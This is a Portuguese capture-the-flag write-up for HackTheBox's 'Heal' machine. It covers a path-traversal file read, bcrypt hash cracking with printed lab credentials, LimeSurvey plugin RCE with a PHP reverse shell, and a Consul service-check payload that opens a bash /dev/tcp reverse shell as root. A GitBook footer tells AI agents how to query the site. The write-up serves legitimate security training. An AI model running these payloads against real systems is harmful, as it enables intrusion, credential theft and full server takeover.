> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md).

# Relato da máquina Heal no HackTheBox

{% embed url="<https://app.hackthebox.com/machines/640>" %}

{% hint style="warning" %}
**Habilidades:**

* LFI (Inclusão de Arquivo Local)
* RCE (Execução Remota de Código) no LimeSurvey
* Quebra de Hash com Hashcat
* Pivotamento de Usuário
* Escalada de Privilégios via Consul
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/ac17090fd8a5b4ae69ef597c9e5258a5874d5882" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/2d1a881f9c79244358f5b4685438efadabebeade" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.46 -oG allPorts
```

<figure><img src="/files/e501e58b3cb0d28727a7b957a6c4222ff2070759" alt=""><figcaption></figcaption></figure>

Varredura de Versão de Portas com Nmap: (22,80)

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.46 -oN targeted
```

<figure><img src="/files/7c0c851df1e4c82e08636d26824283c69beae19b" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

<figure><img src="/files/98be7f928388f5fcf76d533a02be1f3171ae4a90" alt="" width="563"><figcaption></figcaption></figure>

### Porta 80 - HTTP

<figure><img src="/files/2bc1d807c7238a5d4ea6ab1f08c82cb699461493" alt=""><figcaption></figcaption></figure>

No site principal, encontramos a possibilidade de **criar uma conta de usuário**.

<figure><img src="/files/6fd9b4a8f56eeded20a7a2480bb75935d8050398" alt=""><figcaption></figcaption></figure>

Uma vez conectado, descobre-se uma funcionalidade que permite **exportar um CV em formato PDF**.

<figure><img src="/files/944971daaf9bcbfe6d4bdd5d3d1d46569b2e01e5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1f07a8b62700b6a3c8cd07f0840f10b46042cf5c" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade LFI (Inclusão de Arquivo Local)

#### Exploração de LFI via `currículo`

Ao interceptar a requisição de download do CV, descobrimos uma vulnerabilidade de LFI:

```json
GET /download?filename=../../../../../etc/passwd HTTP/1.1
Host: heal.htb
Authorization: Bearer <token>
```

> É **obrigatório incluir autenticação por token**, caso contrário, a consulta falha.

<figure><img src="/files/c6a01064278046058e7261d934600a75521fe898" alt=""><figcaption></figcaption></figure>

### Extração de Arquivos Sensíveis

#### Acesso ao banco de dados SQLite

Ao listar arquivos sensíveis, descobrimos um redirecionamento para `/storage/development.sqlite3`

<figure><img src="/files/2770cb5b97262afda42673d7a073e4a55272b86b" alt=""><figcaption></figcaption></figure>

O banco de dados é baixado e duas contas são extraídas com seus **hashes bcrypt**:

```
admin@heal.htb
$2a$12$bLOjNMD13FW7vBJfHEZ5tu.inAHM/kxF.yTmbLkC8qg4iV5vHqDDO

ralph@heal.htb
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
```

<figure><img src="/files/0c85cdebef49688b12e5aa7d1ecae49fc33f12ed" alt=""><figcaption></figcaption></figure>

### Quebra de hashes

#### Usando Hashcat

Use **Hashcat** para tentar quebrar os hashes com `rockyou.txt`:

```bash
hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
```

> Resultado: encontramos a senha de **ralph**/ `ralph@heal.htb : 147258369`

<figure><img src="/files/2f05345b8328d59484ecc3d5564395c767b6d367" alt=""><figcaption></figcaption></figure>

### Descoberta de subdomínio: `take-survey`

<figure><img src="/files/18b3febc0882765e08be8c0b11c0b6e709e90ccf" alt=""><figcaption></figcaption></figure>

#### Adicione a entrada a `/etc/hosts`

Um novo subdomínio aparece na aplicação. Nós o adicionamos ao nosso arquivo hosts

## Vulnerabilidade no CMS LimeSurvey

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/2fe5b881e0819c147b1924f09a96c7b88365390e" alt=""><figcaption></figcaption></figure>

#### Acesso à área administrativa

Descobre-se que a interface de administração está acessível na seguinte URL:

`http://take-survey.heal.htb/index.php/admin`

Conectamo-nos com as credenciais de Ralph:

* **Nome de usuário** : `ralph`
* **Senha** : `147258369`

<figure><img src="/files/154ee138df7ffc5c44ddb564f1d28aa0e2ba399c" alt=""><figcaption></figcaption></figure>

Descobrimos que a versão do LimeSurvey utilizada era **6.6.4**, que é vulnerável a uma **Execução Remota de Código (NCE)**.

<figure><img src="/files/a15bac455de043633dace1a4acd9507672080482" alt="" width="563"><figcaption></figcaption></figure>

### Exploração de RCE via um Plugin Malicioso

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Adaptamos o script de operação à nossa situação.

<figure><img src="/files/b2f0749927f257a4cc461a62f993402d23c4e6b4" alt=""><figcaption></figcaption></figure>

Primeiro, criamos um arquivo compactado contendo um `config.xml` arquivo e um script reverso de shell PHP:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/a415e5b63d2a900b90398bb3d0c8092724349ef9" alt=""><figcaption></figcaption></figure>

Então, instalamos esse plugin malicioso pela interface web do LimeSurvey.

<figure><img src="/files/8b3cb8ef26ba2c2286e5144f024db0ab036b200b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f88a13eb7576f63bef500e1f5b8cbef2816d4ec8" alt="" width="501"><figcaption></figcaption></figure>

Ao passar o mouse sobre o plugin instalado, detectamos o ID do plugin.

<figure><img src="/files/f7b67e8e8cd27af7edd44ee62de71184eaec5b99" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/b12c853e2f4fde99df49012e0c42359b3a2f3945" alt="" width="563"><figcaption></figcaption></figure>

Depois de editar o script para incluir esse ID, executamos na porta 443:

```bash
nc -nlvp 443
```

Por fim, executamos o exploit via Python:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/58bc4b535687533ae302ef78d366ebced2d0f61c" alt=""><figcaption></figcaption></figure>

#### Estabilização do terminal Linux:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Pivotamento para o usuário ron

Ao explorar a máquina, encontramos outro usuário **ron**.

<figure><img src="/files/bcb2129dd3757fdb8bc5a438e159465e50c20eda" alt="" width="563"><figcaption></figcaption></figure>

Um arquivo de configuração na `aplicação` pasta continha logins e senhas para acesso ao banco de dados:

* usuário = `db_user`
* senha = `AdmiDi0_pA$$w0rd`

<figure><img src="/files/2e13408ebbb229b78dd705efb35a63ff469b6be3" alt=""><figcaption></figcaption></figure>

Com essas credenciais, conseguimos acessar a conta de **ron**, o que nos permitiu obter a **flag user.txt**.

<figure><img src="/files/844c725f007d3958c6b7300024eaff3f32ede343" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/e3e298e9a33c124f4182a265297217ca810f06a7" alt="" width="563"><figcaption></figcaption></figure>

## **Escalada de privilégios**

### Descoberta da porta 8500 (Consul)

Ao observar as portas abertas, encontramos a porta **8500**, que corresponde à interface web do Consul.

<figure><img src="/files/0e21801efc84239813e8822f74378b903ae8fe12" alt=""><figcaption></figcaption></figure>

Após fazer uma consulta em `127.0.0.1:8500/ui/`, encontramos a versão do Consul **1.19.2**.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/249bf23b5f9ef83d9033de8e22dce29ccc096e46" alt=""><figcaption></figcaption></figure>

#### Verificação de acesso à API REST

Testamos a API REST do Consul para verificar se estava acessível sem autenticação:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

Obtivemos uma resposta confirmando que a API estava aberta.

### Exploração por meio de uma verificação maliciosa

Registramos um serviço com uma verificação maliciosa usando um comando bash para abrir um shell reverso na nossa máquina:

```bash
nc -lvnp 4444
```

#### Registrar um serviço com uma verificação maliciosa

O Consul permite o registro dinâmico de serviços por meio de uma requisição HTTP. Usamos isso para criar um "check" que executa um comando bash.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

O que este payload faz:

* `Check.Args[]`: contém um comando bash que abre uma **shell reverso**.
* `Interval`: Define execução automática a cada 10 segundos.

Ao executar este payload, conseguimos obter um shell root.

<figure><img src="/files/f26749ee21525a8171fc1f7c04c4299ea00309de" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/8b631c3dea2100d930179e482149454ac4a7a917" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/0a01eb2cba330f8e8c21468832180bba2ec800a7" alt="" width="344"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/heal-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
